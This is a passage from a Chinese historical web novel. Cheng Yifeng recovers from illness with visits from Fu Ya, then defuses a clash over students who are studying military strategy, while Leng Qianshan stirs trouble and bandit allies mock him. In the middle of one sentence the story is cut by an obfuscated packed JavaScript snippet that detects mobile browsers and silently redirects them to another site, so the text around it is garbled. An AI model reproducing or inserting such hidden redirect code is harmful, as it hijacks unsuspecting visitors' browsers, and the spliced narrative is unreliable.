符雅就让两个太监分别去给程亦风和公孙天成遮雨。五人同行,不久便出了瑞华门。符雅自由皇后给她准备的车子,程亦风这边小莫也早就等候着——看到公孙天成难免有些吃惊。不过程亦风不想在外人面前解释,即上前来先河符雅道别:“多谢符小姐替程某人解围。感激不尽。” 符雅笑看了他一眼:“讲个故事就能给人解围……不错。世上有人专替别人撮合姻缘,有人转替别人打官司,江湖上还有专替人取别人脑袋的,不知我符雅开张专替人讲故事解围,生意如何。” 程亦风知她是玩笑,即答道:“那自然是兴旺发达,至少我程某人会三天两头光顾的。”说道这里,心中闪过一丝阴影:这才是回京的第一天,已经被人诬陷想谋朝篡位,明日回衙门,再过两天上朝会,还不知道冷千山那帮人要怎么整治他呢!到时候哪里有人能给他解围? 符雅并不知道他的每一件烦心事,故作认真地扳着手指:“一品大员岁俸一百八十两,俸米一百八十斛,不知大人找我解围,我可抽多少佣金?呵呵,无论如何,这都是一半万利的生意!” “正是。”程亦风勉强把玩笑继续下去,“小姐无论抽多少佣金,程某人都不能嫌贵——再有多少岁俸,却没命消受,又有什么用呢?阿——嚏——” “大人伤风了呢!”符雅道,“快上车吧。你是楚国的中流砥柱,如果你倒下来,大伙儿就不知道要如何是好啦!” “多谢小姐关心。”程亦风又打了个喷嚏,但还是坚持要符雅先上车,看着太监帮她掩好车帘挂上雨布,然后他才上了自己的车。坐下了,又揭开帘子看看——符雅那边披蓑戴笠的赶车人扬鞭催马,转眼,油壁车和那诙谐洒脱的笑声就都消失在雨雾中。 天空又是一个炸雷,雨下得更大了。 23. 第 23 章 程亦风这个“中流砥柱”还真的倒了下来。旁人有没有“不知如何是好”并不晓得,程亦风自己家里倒真的是天下大乱了。 他官居一品,宅院就是一品大员的规制,当时赐他这房子时也赏了一群仆役,但他觉得不自在,留了一个门子,一个火夫,一个打扫的童仆,还一个洗衣服的老妇,其他的都给了银子打发回乡了。平日里他自然不觉得需要人手——后园里杂草长得高了,空置的房间里结满蜘蛛网了,他也不在乎。现如今一病倒,那童仆完全不识得照顾病人,洗衣老妇恰巧儿子成亲,告假回家了,门子和火夫一个要奔走请大夫抓药,一个就要煎药熬汤,忙得四脚朝天。 程亦风抱着被子缩在床上,一时冷,一时热,满身大汗,又直发抖。不过他心里却想:其实这未尝不是一件好事——总算逃过了冷千山等人的冷嘲热讽。 臧天任本来是想给他接风的,未料成了探病,带来了臧夫人亲手做的点心。程亦风几天都没有胃口,就这点心吃着香甜:“臧兄真是好福气,你跟嫂夫人做了十多年夫妻,就享受了嫂夫人十多年的好手艺。” 臧天任道:“也不是老哥哥我说你——你今年倒有三十四岁了吧?《大学》有云,格物、致知、诚意、正心、修身、齐家、治国、平天下。你除了这‘齐家’,倒都做得差不多了。你也见过青楼粉黛,你也见过大家闺秀,不知什么样的女子才入你程大人的法眼?莫非要公主女神不成?” 程亦风苦笑:那个女子,十六年来身藏心底,臧天任不会知道。人在病中容易孤独,孤独时相思更加刻骨。相思无用,无望。 听见窗外淅沥的雨声,无限惆怅。正那门子来请臧天任了,说郎中新换了一种药,好是奇怪,药店里竟不敢卖,要请臧大人去发一下官威或者有用。程、臧二人都觉得希奇,臧天任便说自己“去去就来”,把程亦风一人留下了。他心里思潮起伏,文思便如泉涌,起了身,叫童仆磨墨掭笔,挥毫写了半阕《满江红》,云:“夜雨声声,疏钟断,那回轻别。嗟憔悴,梦里相见,青丝成雪。路指瑶池归去晚,愁肠过似丁香结。便无情到此也销魂,孤灯灭。” 写罢,看了一遍,觉得未免太悲了,暂时又想不出下半阕,便丢在一边。这时,听得外面一人道:“程大人在家么?”竟是符雅的声音。 程亦风慌了,赶紧叫童仆帮他穿衣戴冠:“符……符小姐……怎么……怎么驾临寒舍?” 外面符雅道:“程大人要是忙着梳妆打扮,就不必了。你是病人,还是在床上歇着吧。符雅是替太子来看程大人的。” 程亦风衣服穿了一半,带子被童仆打成了死结,现在脱也脱不下来了,只好穿着衣服躲回被子里,心想这男女授受不亲,反正隔着门说话也没关系。但又一想,外面下着雨呢,让一个女子在外面站着,终究不好,何况他是奉了太子之命…… 正想着,符雅已经不请自来了——她披了件蓑衣,戴了顶斗笠,哪有半点官家小姐的模样?程亦风不觉一愕:“符小姐,你……” 符雅取下斗笠,露出不施粉黛的素面,爽朗地一笑,道:“程大人不用那么多麻烦。多亏了你和公孙先生,太子殿下已经回了宫。本来殿下要亲自来看你,但是我跟他说,他来了,你就要大服接待,那不是来探望你,是来折腾你,所以太子才叫符雅代走一趟,给你带皇后娘娘的八珍益气丸来——你可千万别跟我客气,要不然,太子就白不来了,我也就白来了。” 程亦风听她说的有趣,不禁一笑:“多谢太子殿下,多谢符小姐。”但看到符雅将一瓶八珍益气丸放在桌上,他难免心里又是一阵怅惘——如果是她……但叫我能见她一面,死也无憾了! “咦?”符雅看到了桌上的半阕《满江红》,“大人病中还有这闲情逸致……便无情到此也销魂,孤灯灭……可真是病中写的!” 程亦风知道这个女子聪慧过人,怕被她看穿了心思,忙打岔道:“涂鸦之作,小姐见笑了。” 符雅道:“哎呀,我怎么敢笑程大人?你是当年的风流探花郎——据说那状元郎言谈无趣,正在青州做太守,榜眼公贪得无厌前几年已经蹲了大牢,只有你程大人,官场也得意,战场也得意,情场嘛……” 程亦风未料一个女子竟敢和自己开这么大胆的玩笑,脸立刻就红了,支吾道:“叫小姐笑话了……程某早年流连烟花之地……荒唐荒唐!” 符雅“噗嗤”一笑:“谁跟大人说那件事?诗词之道发乎于情,大人若无情,怎能作得好诗词?看大人文采斐然,符雅一时也没想出别的话来,顺着官场、战场,就脱口说了个‘情场’,大人勿怪。” 原来是虚惊一场!程亦风舒了口气:“小姐冒雨来探望程某,程某怎么敢怪小姐?” 符雅笑笑,将那半阕词又看了一回,提起笔来:“符雅是初学,总难免手痒,替大人狗尾续貂吧——大人可愿指点一二?” 程亦风不待答应,她已经落下笔去,不时,续了下半阕。他接过来看:“相思苦,啼成雪。吟旧句,红尘绝。奈明月多事,空自圆缺。争得花阴重邂逅,此时怀抱那时节。待回头提笔志今朝,词半阕!” 程亦风不禁“哎呀”一声:“小姐高才,程某自叹不如——这一句——”他指着“此时怀抱那时节”,道:“这一句简直绝了!” 符雅一把夺过来,将自己写的半篇撕下了,凑到灯上烧掉:“好什么,不过是古人词中偷来的罢了。跟大人的摆在一起,没的羞死符雅了!烧了干净。” “你烧归烧,”程亦风道,“我看了一遍,还能不记得么?要这点过目不忘的本事都没有,我这探花郎也就是浪得虚名了。” “是么?”符雅仿佛喃喃自语,“记书的本事就有,不晓得记人的本事如何?” 程亦风一怔,不知她的何意。而符雅展颜一笑:“太子殿下交代的事,我已经办好了。就不打扰大人休息,先告退。” 程亦风自要起身相送,但猛又想起衣服才穿了一半,只好靠着不动,吩咐童仆送符小姐出去。符雅摆摆手道:“不用啦。没想堂堂天下兵部尚书的府邸连个门子都不见,只有个小孩,我若使唤了他,一会儿程大人要端茶倒水的,找谁去?程大人好生休养着吧!”说时,已出了门去。 程亦风便躺着,细细体味符雅所续的半阕词。自己的上半阕写得无比凄楚悲伤,而符雅的下半阕就有一种“誓山海而常在,似日月而无休”的感情在其中,哪怕月圆月缺光阴变换,终要“争得花阴重邂逅”,即使“此时怀抱那时节”也足够。 唉,填词归填词,他跟那个女子怕是此生不会有见面的一天了。 才想着,臧天任倒又回来了,劈头就道:“好贤弟,你可把哥哥瞒得苦——你何时交上了符家小姐?倒不吭一声?” 程亦风知道必然是在路上遇到符雅了,连忙解释,说符小姐是奉了太子之命来探望自己的,哪里有什么交情,让臧天任千万不要胡思乱想,坏人名节。 臧天任瞥了他一眼:“奇怪了,人家符小姐倒大大方方跟愚兄招呼,你却扭扭捏捏像个姑娘,好像坏的是你的名节一般。算啦,不跟你说这些——真也奇怪,不过一味牛黄而已,又不是什么了不起的东西,居然所有的药店里都没有了,我看老弟你只好还吃原来那药,在床上多睡几天了。” 程亦风笑道:“自从落雁谷之后,我就没睡什么安稳觉。此时不睡更待何时?莫非要等死了睡棺材么?” 臧天任瞪了瞪他:“满口胡言,你真是病得不清。哪有人咒自己的?” 程亦风耸耸肩,他不是诅咒自己,而是想到等自己下了病榻,就是要集中全部精力,收拾妖道胡喆,处理大青河善后……那就得鞠躬尽瘁,死而后已了。 不过,程亦风还没下病榻,麻烦就已经来了。次日下午,臧天任的跟班慌慌张张地跑了来:“程大人,大事不好了!快去救我家大人!” “怎么?”程亦风一骨碌从床上跳了起来,心里第一条想到的就是胡喆又兴风作浪了。这个妖道狡猾狠毒,自己如何是其对手?太子刚刚才回到京城,无谓将他卷进来。还是要先找公孙天成,因立刻叫自己的童仆:“快,去请公孙先生来!” 竣熙送给公孙天成的宅院就在程亦风的隔壁,所以老先生不时就到了。程亦风也已经穿好了衣服——因为小莫休假返乡无人能赶车,所以正好坐了臧天任家的车子,一齐去看看究竟出了什么事。 车子往闹市方向去,行到一条街口就再也行不动了。公孙天成揭开车帘望去,见前面围了一群人,叫嚣吵嚷,好像就打起来的样子,天上虽然飘着牛毛细雨,但也不能把那火药味冲散。 “我家大人就在那里!”臧天任的跟班伸手一指,程亦风便看到臧天任被人拽着领子,一时推一时搡,一把老骨头眼看就要散架。“快住手!”他大喝一声,跳下车来冒雨冲了过去。 到得跟前,看抓着臧天任的是个陌生的小伙子,便问:“你是何人,何以当街殴打朝廷命官?” 那小伙子白了程亦风一眼:“你又是何人,听口气,也是个命官了?大概和这个浑身酸气的老家伙是一路的吧?” 程亦风不待回答,臧天任苦笑着道:“他?他就是你们口口声声崇拜若天神的兵部尚书程大人!” 程亦风一惊,未知老友何出此言,那小伙子已经“哎呀”叫了一声,松开了臧天任,“扑通”跪倒在地:“原来是程大人,在下有眼不识泰山。程大人海涵。” “你……”程亦风正是莫名其妙,却见旁边一群年轻人围了上来,上上下下把自己打量个没完,互相议论道:这就是程大人?可终于见到了! 他愈加摸不着头脑了,询问地望着臧天任。后者官帽也歪了,衣服也坏了,青白着脸,显然是生了很大的气,指着这些年轻人斥道:“你们好歹也是读书人,放着圣贤书不读,正途不走,竟做些歪门邪道的事情。你们不是都崇敬程大人么?你们就来问问程大人,看他觉不觉得你们荒唐!” 这时公孙天成也已已经来到了人群里,向围观的人打听了事情的起因——原来这些年轻人都是等待秋试的生员,本来应该安心读书练习八股制艺,却不知怎么都对兵书战策起了兴趣,组织起一个“风雷社”,专门研究古今战术。本来他们自己不务正业不求上进也就罢了,无非秋闱之时名落孙山而已。岂料这些生员们对兵家之道入了迷,竟提出“兵者国之大事,当人人知之”的荒唐说法,建议科考要加试兵法。他们联名写了一封折子递上去,那日正是二月丁丑,所以此事就称为“丁丑上书”,在京城闹得沸沸扬扬,程亦风当时正在北征涂中当然不知道。朝廷当“丁丑上书”是一个笑话——堂堂天朝大国,礼仪之邦,若把举国的书生都变了武夫,岂不是连蛮荒小国都不如了?奏章中所提的建议自然不被采纳。但生员们却不死心,其中几个家境甚好的,出资在凉城建起了义学,除了教四书五经之外,另讲习兵法,尤其喜爱议论史书中记载的各种战役。生员们说,义学的学生将来金榜提名,入朝为官,则可以文武双全,内可治世,外可安邦,非旁人所能及。周遭有平民家的孩子上不起学堂的,便送到义学里,一时间门庭若市。又有一个生员出身富户,家里有护院保镖,这次他进京就带了出来照顾左右。保镖见他们义学办得热火朝天,自告奋勇要担任武术教习。生员们欣然应许。于是,每天清晨这保镖就带着义学的学生们在院中操练,呼喝之声隔条街也能听到。凉城百姓无不觉得稀奇有趣。有些富家子弟也不愿意在自家书房里闭门苦读,吵着闹着要到义学里来。义学的人数登时又增加了一倍。这是清明时的事。凉城府尹开始注意义学了。要知道,民间私自“练兵”,若不是邪教,那就是乱党——崔抱月是朝廷封的女英雄,自然另当别论。凉城府尹生怕闹出事来自己担待不起,急忙上奏。朝廷几时遇到过如此奇怪的事?工部、户部首先撇清了关系在一边看笑话。毕竟生员们还没真造反,有功名的人,不能随便抓,刑部也就表示非自己职责范围。剩下吏部和礼部。前者查查,发现有几个国子监的监生也在义学里讲课,不过这些人属于“未入流”,吏部可管可不管。后者只得硬着头皮上来,说道,“读圣贤书之人,做有失体统之事,若不管束,则国家礼甭乐坏”云云。虽然表了态,可他们却不出面做事,怕惹麻烦,便美其名曰“读书人听读书人的话”,将差使推给翰林院。而臧天任属于翰林院里最受气的一个,自然就被派出来“担当重任”了。 朝廷交给的任务很明确:生员必须停止义学中的武术操练,废止讲习兵书战策,否则,要查封义学,所有生员、监生也将被革去功名。 臧天任虽然也认为生员们举动有欠妥当,不过推测他们此举还是因为有满腔热血却报国无门,并不想加以责备。可是礼部一直向翰林院施压,翰林院就一直催促臧天任,他才不得不硬着头皮出面,说了些“文武各司其职,内外各行其是”的场面话。但生员们都是血气方刚,最讨厌听官话,一眼不和,就惹得年轻人动起手来。 程亦风当然不晓得这其中的曲折,只见那些生员们围拢在自己身边,为首的,也即方才跟臧天任动粗的,说话连珠炮一般,滔滔不绝地跟程亦风讲述众人兴办此义学之目的,义学所教之本领,又义学中学生如何豪情万丈。“翰林院和礼部的学究们硬说我们有失体统。”那为首的生员道,“程大人可要给我们评个理——何为体统?不能杀贼,不能救国的那些就是体统么?抱着如此体统坐以待毙,还不如让他礼崩乐坏,我们也跟樾人拼个玉碎瓦全。” 旁边的生员们纷纷赞同,又有人指着臧天任斥道:“文官不贪财,武官不怕死,国可兴也,你和程大人同是进士出身,为何程大人在疆场杀敌,你却在京城无事生非?” 听到这样的话,程亦风正色打断:“诸位学弟,这话就大大的错了。你们可晓得这位臧大人是何人么,他是我程某人敬如兄长的一位同年。他忧国忧民,直言敢谏,程某人可比不上。”当下,就将臧天任近年来坚持不懈提议新法上疏朝廷精兵简政开源节流的事迹说了。这位老友宦海沉浮若许年,许多当初同科的人都外放到地方的肥缺上去了,他却还在翰林院里做闲差。亏就亏在这坚持己见的性格上,贫贱不能移,富贵不能淫,威武不能屈……相比之下,程亦风自己同样对朝廷的弊端看不顺眼,可早年除了喝酒就是逛窑子,后来弄起新法之事,一遇挫折,就想摔帽子不干,如今位极人臣又只会牢骚满腹,今日说起老友的种种,再同自己一比,简直羞愧难当。 偏着时候,听到噼里啪啦的鼓掌声。众人都循声看去,正式冷千山拨开人丛走了过来:“精彩,精彩!程大人说得简直好极了!冷某人偶然经过,听得都不想走了呢!” 鬼才相信他是偶然经过!程亦风厌恶地瞥了他一眼:这些热血士子,恐怕还是他煽动起来的吧? 生员们果然认识冷千山,都同他招呼:“冷将军——” 冷千山笑道:“不必理会我。你们一直以来都仰慕程大人,难得才见到了他的面,还不多多向他请教?程大人也宦海沉浮了十几年,本是文官,却又领兵打仗,所以对朝廷从里到外从上到下都了解得很——国难当头的时候,究竟应不应该人人皆兵,抗击敌寇,程大人肯定有独到的见解。” 这是故意要摆程亦风上台了——明知道他在兵部的每一天都如坐针毡,明知道他对兵法毫无兴趣,明知道他笃信“攘外必先安内”……程亦风咬着嘴唇,忍住按本性说出一切的冲动:现在要稳住局面,一定不能让冷千山继续利用这些单纯冲动的年轻人。 已经在细雨中站了好一会儿,他感觉背后的衣服透湿——不知是雨水还是冷汗。便打了个寒噤。冷千山看到,偷笑了一下,道:“想来程大人有高见——咱们不如还是进义学里去谈吧。图过程大人受了凉,岂是国家之福?” 可不是如此!生员们哪里知道他没安好心,赶紧把他们心目中的“军神”请进义学。一群人将程亦风团团围住,害他本来想香公孙天成求救,却连老先生的影子也看不见。今天的这事可大可小,一定要谨慎处理才行,他边走边思考,假装四处参观,实际在拖延时间。 大部分的桌子上都是兵书战策,《孙子》、《六韬》无所不有——这些都是程亦风去年被赶鸭子上架到了兵部之后看过的书。不过有一本他却没有见过,叫《古今战策注》。大约生员们先前正在抄写,砚台里磨好了墨,毛笔架在一边——楚国宫廷贵族和士大夫们崇尚华丽,学界也染了这风气,一支简单的毛笔,也要在笔管上缀一只精编璎珞。程亦风皱了皱眉头,计上心来,道:“诸位一心报国,其情可表。所说不愿为陈规陋习所束缚,不愿坐以待毙,也都是至理。不过,何为古圣先贤验证多年流传下来的治世之法,何为奸佞肖小一代一代造成的积弊,诸位还要分清楚了才行。”他指着那笔:“比如这个璎珞,就是积弊。写字难道要用它么?你们是用璎珞,而有人就用珠玉。整一个京城若有一千支挂了珠玉的笔,浪费的银两可以采办多少军粮?” 这笔本是那家境较好的生员之物,听言,登时红了脸,一把将璎珞扯下了,道:“程大人教训的是,学生惭愧。” 程亦风笑了笑,道:“这部《古今战策注》在下从来没有看过,是诸位学弟们编的么?” 为首的那生员道:“正是学生们遍的。程大人不弃,请指正。” 程亦风道:“好。你抄一部给我,我来看。” 那生员大喜,道:“是。大人何时要?” 程亦风道:“就现在,你抄。” 那生员虽然觉得有些奇怪,但不疑有他,立刻坐下来提笔欲写。可程亦风一伸手,将砚台挪走了。生员正奇怪,程亦风又一伸手,将纸也拿开了。 “大人……这……” 程亦风从笔筒里又拿出五六支笔来,递给他道:“请抄吧,在下等着看呢。” 其他的生员都忍不住了:“大人,光有笔,没有纸墨,怎么抄?” 程亦风微微而笑:“哦?原来光有笔是不能写字的么?那为何你们以为朝廷只要选用晓得兵书战策的官员,国家就能富强安康?” 生员们都不禁一怔,哑口无言以答。 “想来程大人有高见了?”冷千山似笑非笑,“依程大人之见,国家怎样才能富强安康呢?” 程亦风不理他挑衅,自取过一支笔,蘸了墨,于纸上写下“君子务本,本立而道生”九个字——他的书法以行书见长,但这时刻意用正楷,写得十分规矩。“诸位都是读圣贤书的人,哪位来同程某解释一下夫子的这句话?” 生员们面面相觑,有人道:“夫子说,要专心致至于根本,基础确立,大道才得显现。” 程亦风点了点头:“夫子所谓‘根本’又如何?” 生员们读熟了四书五经,当然理会得孔孟之道,他们晓得程亦风探花出身,学识非凡,都想要给出个最精辟的答案好让他嘉许,于是思索了片刻,七嘴八舌回答得五花八门。有的说,是“修身”,于是讲“温、良、恭、俭、让”;有的说“孝弟也者,其为仁之本与”,故尔“孝”大道之本;又有的说,治学为重,“朝闻道,夕死可矣”;还有的说,出仕为官“事君以忠”;另有几个,干脆把“六德”“六行”“六艺”都搬了出来——足见是下过苦工夫的,倒背如流。 程亦风微笑着听他们各抒己见,仿佛自己当年在学堂里的模样。无论世界如何的变换,孔圣人所说的根本却并不改变,人所理解的“根本”不同,乃是因为岁月的琐事使人忘记根本了。 他不声不响,写下了一个大大的“仁”字。生员们看到,才都安静下来。 那个字写得笔画饱满,四平八稳,假若真的以此治理天下,则天下也该如此。他搁下了笔,仿佛欣赏着这个字似的,淡淡说道:“我楚太祖立国,以仁治世。楚之前有晋,晋之前有梁,其立国也,皆以圣人之道,礼、义、廉、耻、仁、爱、忠、孝。吾未有听说以‘兵’治天下的,尔等若要看兵家之道的极盛,就看十六国之乱,远交近伐,联横合纵,尔虞我诈。但十六国可有一国传过百年的?吾或有见以‘法’治天下的,就是那十六国之前的嬴国,重‘势’,重‘术’,重‘法’,初看来,全国井井有条,不过才传二世,举国百姓道路以目,不久天下英雄就揭竿而起。吾亦有见以黄老之术治国的……”他本想举宋国灭亡的例子,但一想到元酆帝被胡道士蛊惑,正谈“清静无为”,就把话咽回去了,改口道:“昏君暴君各有各的不是,短命王朝各有各衰败的理由,但,凡观盛世,无有不尊儒术,但见明君,无有不为政以德。如今樾人对我虎视眈眈,我朝的确需要操练兵队保卫家园,然而,依诸位之见,楚樾之战还要进行多少年呢?三年、五年,还是三十年、五十年,终有结束的一日吧?到那时,还需兵书战策么?兵者,乱世不得已而为之。我辈读书之人,不该想着如何在乱世称雄,而应该想着怎样让乱世缩到最短,怎样将乱世变了治世,怎样将治世延得最长……这些道理可不在兵书上。” 众生员们听了,都沉默不语。臧天任知道朋友的话说中了要害,十分欣慰,道:“程大人所竭尽全力要做的,便是牵制樾寇、压制樾寇,甚至消灭樾寇,先保了社稷的安危,再求富强之道。你们当中有精通兵法志愿帮着程大人替朝廷‘攘外’的,应该好好备考,在秋闱一显身手,到程大人身边协助。但我国当前的形势,并非只有樾寇压境一个威胁——我不怕同你们实说——京城有奸臣当道,地方有贪官污吏,中央的银子入不敷出,各地的百姓食不果腹,长此以往,前方的军队要如何抗击樾人?若是国家起了内乱,恐怕樾人不费一兵一卒,到时也能将凉城拿下吧?所以‘安内’也是迫在眉睫啊!” 生员看相互看看:所谓安内,匡正时弊,整顿吏制,充实国库,严肃法纪,这果然不是兵法所能教的。也许他们单凭一时的热诚,的确做错了? 正在动摇的时候,忽然听冷千山拊掌冷笑:“说得好,程大人的比方也打得妙——光有笔不能写字,光选拔懂得兵书战策的人才不能国富民强——请问程大人,光选拔满口‘圣人言’只精通八股制艺的官员,国家就能富强了吗?光有砚台或者光有纸,就能写字了吗?” “这……”程亦风说了那么一大通,竟没有想到这一条。不由愣在当场。 “冷将军!”终于听到了公孙天成的声音,“老朽虽然驽钝,不过方才听到程大人的一席话,虽然说是‘独尊儒术’,但是并没有说‘独尊八股’啊!况且,儒术并非从来就有,自孔圣人之后,儒术也非一成不变。就算是孔圣人自己,也讲求文武兼备,不可偏废一方吧?古孔圣人为鲁国摄相事,不也说过‘有文事必有武备,有武事必有文备’么?” “先生讲的极是。”程亦风一经公孙天成提醒,立刻就开了窍,“吴子曰‘内修文德,外治武备’,说的也是这个道理。不过,如果把兵书作为童生开蒙必修,又让战策成为儒生为官必备,这就本末倒置,动摇根本了。虽然‘忘战必危’然而‘好战必亡’啊。” 冷千山不是科举出身,虽然读过四书五经,但是并不怎么熟悉,所以不晓得《司马法?仁本》明明说的是“国虽大,好战必亡;天下虽安,忘战必危”,是叫人不可忘战的,程亦风偏偏要倒过来说,就把意思完全颠倒了。那些生员们虽然晓得这句话,但是他们崇拜程亦风,也不觉得他如此“活用”有何问题。 “程大人说的果然是至理!”生员们道,“但既然圣人也说要文武兼修,那我等在义学中既读诗书又学兵法,也不算是有失体统吧?” “那当然也的确不算。”程亦风道,“世上有人爱诗,有人爱画,有人嗜酒,有人好色,这些人集结成社交换心得,且未听朝廷要取缔他们,为什么有人喜爱纸上谈兵就不行呢?你们只消记住,不要光拿了笔,将纸墨都丢在一边,那就成了。” 生员们谈兵论战乃是为了救国,却被程亦风一溜嘴说成好像茶余饭后的玩乐一样,未免心里都有些不高兴。幸亏公孙天成道:“历朝历代都是重文轻武,不让民间研习兵书,不让百姓操练武术,无非是怕万一奸人利用,招集百姓造反,到时朝廷无从镇压而已。但是子曰:不教而杀谓之虐,又云:以不教民战,是谓弃之。亚圣也说:不教民而用之,谓之殃民。殃民者,不容于尧舜之世——诸位结社教习兵法,不仅不算有失体统,还是为安邦定国做了一大贡献呢!” 臧天任听他这样说,岂不是给自己帮倒忙?急得直向程亦风使眼色。好在公孙天成话锋又一转:“诸位都热心勤奋,一边备考,一边谈兵,一边学武。只是依老朽的浅见,讲习兵法,没有比兵部中专门整理兵书的人讲得更好了,而教练武艺,恐怕普通兵营里的教头也比诸位高明。诸位废寝忘食,能够让多少人真正学会用兵之道或搏击之术的呢?但如果诸位全力备考,一举高中,能够成为兵部的官员,就可以将你们的打算变为新法,通过各地的兵站付诸实施,这效率岂不比今日要高出百倍?” 生员们瞪大了眼睛,你看看我,我看看你——公孙天成说的这样浅显,又这样实际——可不就是这样的道理么? “所以依老朽看,”公孙天成趁热打铁,“诸位不如暂时顺了礼部的意思,暂时不要再研究兵法和操练武功,先把秋闱考过了再说——如果一时意气,当真被革去功名,岂不是更加报国无门了?” 有道理!生员们都点头。臧天任也便松了一口气,展开文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728604|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书,让众人签字画押,表示以后不违此令,否则革去功名,与人无尤。 而偏偏这时候,冷千山又冷笑着开了口:“公孙先生和程大人说的都很好听,好像有了一官半职就一定‘报国有门’似的——请问你们二位,这次程大人在大青河用兵如神,打了胜仗,为什么既不见你继续领兵北伐,也不见你和樾人谈判?听说朝中主和派的那些文官唆使皇上发出‘不战不和’的圣旨,硬将你从前线招了回来,可有这回事么?” 程亦风一愕,生员里已经炸开了锅::“程大人,果真如此?为什么会不战不和?刚才臧大人说朝廷里奸臣当道——就是这些奸臣吗?为什么没有人讨伐这些奸臣?” 程亦风急得直想跺脚:自己是绝不能把胡喆的事告诉这些冲动年轻人的,但是难道任由他这样污蔑所谓主和派的文官? “朝廷里当然有奸臣啦!”蓦地人群里一个声音道,“而且奸臣的脸上常常还写着‘奸臣’两个字呢!” 这个声音似乎在哪里听过!程亦风寻找那说话之人。生员们也都超发声的地方搜寻,不过并没有找到说话者。却听冷千山“啊呀”一声叫,大家回头来看他,只见他两颊上被写了字,正式“奸臣”。众人都惊讶,也有的忍不住笑了起来。 冷千山伸手摸了摸,全是墨迹,气愤地大喝:“是谁?谁敢戏弄本将军?” “冷将军真是贵人多忘,这么快就不认识我了么?”那声音充满戏谑,见一条人影从天而降——正式杀鹿帮的四当家大嘴四。他手里还拿着毛笔,丝毫也不介意承认冷千山脸上的字是出自他的手笔。 “你——你这强盗怎么来到了这里?”冷千山又惊又怒,“快——快去报官,这人是个土匪!” 大嘴四嘿嘿一笑:“放下屠刀还可以立地成佛呢!怎见得我就一辈子是做土匪的?就算做土匪也没有什么不好,我们杀鹿帮的弟兄在远平城跟樾寇周旋的时候,你在哪里呢?” 冷千山自然从兵部接到的战报里读过杀鹿帮在远平的功绩,但生员们却不晓得。他们本来就对大青河战役的细节十分好奇,不由都望向了程亦风,希望他能说个明白。 程亦风骤然间道大嘴四出现也是惊讶万分:“四当家,你……你怎么来了?” “不仅老四来了,我们都来了呢!”这是管不着的声音,他拨开人群,又见到了猴老三和辣仙姑。 程亦风真是又惊又喜,朝他们后面看看,却不见邱震霆。辣仙姑笑道:“程大人不必找了,大哥也一起回来了,不过这会儿有大麻烦缠身,来不了呢!”当下就向程亦风解释:原来司马非虽然要按照圣旨就地驻守,崔抱月的民兵却要返回家乡。崔抱月在石坪受了点儿轻伤,她性格逞强,以为这点小伤没什么大不了,所以没有好好医治,不料愈拖愈严重了起来,连下床也困难。民兵们归乡心切,却束手无策。司马非见杀鹿帮众人无所事事,就拜托他们护送崔抱月和民兵们返回京城。邱震霆考虑,山寨经远平一役死伤过半,大战方休也没有“买卖”做,更有管不着长久不偷东西,手痒得紧,想到京城来捞一笔,于是众人答应了司马非的请求,全山寨出动到京城的花花世界来见识一番——本来以为这是一份优差,游山玩水好吃好喝,岂料崔抱月脾气火爆又爱逞能,一路上没少给邱震霆找麻烦。一直到进了凉城,崔抱月也不肯乖乖地回家去,非要先到兵部去打听一下有没有北伐的计划。邱震霆想着送佛送到西,便陪了她一起去了。“我们兄弟几人就来找大人和公孙先生。”辣仙姑道,“从大人的家门口一直跟到这里——嘿嘿,没想到冷将军也在呢。将军几时有兴致再到我们山寨来做客?” 冷千山跟他们是冤家路窄,气哼哼道:“程亦风,你身为朝廷命官,却结交山野匪类。我懒得跟你们计较!请!”说时,一甩袖子,转身欲走。 “冷将军且慢!”管不着笑嘻嘻地拦住,手在冷千山面前一晃,钱袋、玉佩、鼻烟壶等一大堆冷千山的随身之物都从在指间挂了下来。冷千山勃然大怒,扑上来欲抢,管不着伸手灵活,左一避,右一闪,叫他连衣服也沾不着一片。“各位——”管不着还有闲工夫和中生员们搭腔,“你们可一定要好好听程大人的话,好好读书,高中之后入朝当官,选拔一些有真才实学的人。遇到那种文不能文、武不能武德,趁早打发他回家,省得浪费俸禄!” 生员们跟冷千山并没有过节,见他被人如此戏弄,虽然滑稽,却更多的觉得奇怪。 管不着被逼到了一张书桌前,没有退路了。冷千山怒喝一声,超他扑了过去。岂料管不着手一挥,将一众物件全部抛给了大嘴四。而大嘴四就一件一件地端详,一件一件地拿来打趣冷千山:“啊呀,冷将军你出门钱袋里只有这么一点儿钱么?莫非你吃喝嫖赌都是不花钱的?嗯,你乱征粮食的本领很高,在茶楼酒家敲诈勒索的手段肯定也差不到哪里去——啊呀,这个鼻烟壶好精致,不知从哪里得来的?这个玉佩也不错呢,还有脂粉香——冷将军,老实交代,这是哪一家妓院那一位小娘子送你的?” 这句玩笑可正是戳在痛处了——朝廷里的人都知道,冷千山当年是因为娶了故平寇大将军耿近仁的妹妹才开始飞黄腾达的。冷夫人凶悍霸道,决不允许丈夫纳妾,连通房的丫鬟也无一个。十年前冷千山率兵平定西南苗匪叛乱,那土司投降时把自己的女儿献上做为求和之礼,冷千山想着人在西南边陲,山高皇帝远,夫人应该不会知道。未料,冷夫人早把眼线安排在丈夫身边,一听到这风流韵事,立刻醋意大发,到哥哥面前告状。耿近仁当时驻扎在西南前线不远,是冷千山的后援,得到妹妹的书信后,即发兵进攻土司,将这支已经解了甲了队伍杀了个片甲不留,土司全家自然都掉了脑袋。估计他至死也没想通自己为什么“赔了夫人又折兵”。冷千山贪了一夕风流,也没吃着好果子,回京后被夫人罚顶了几晚的油灯。满朝上下,都窃窃传为笑谈。 如今耿近仁已死在了落雁谷,可冷千山依然畏妻如虎。有人背后玩笑说,大概他怕老婆怕惯了,不晓得夫纲振兴的日子要怎么过。眼下大嘴四固然是无心开了个玩笑,但正好讲到了冷千山的忌讳。程亦风看如此下去要无法收场了,赶紧来做和事佬:“四当家,冷将军还有公务在身,如果耽误了,岂不麻烦?快快把他的东西还给他吧!” 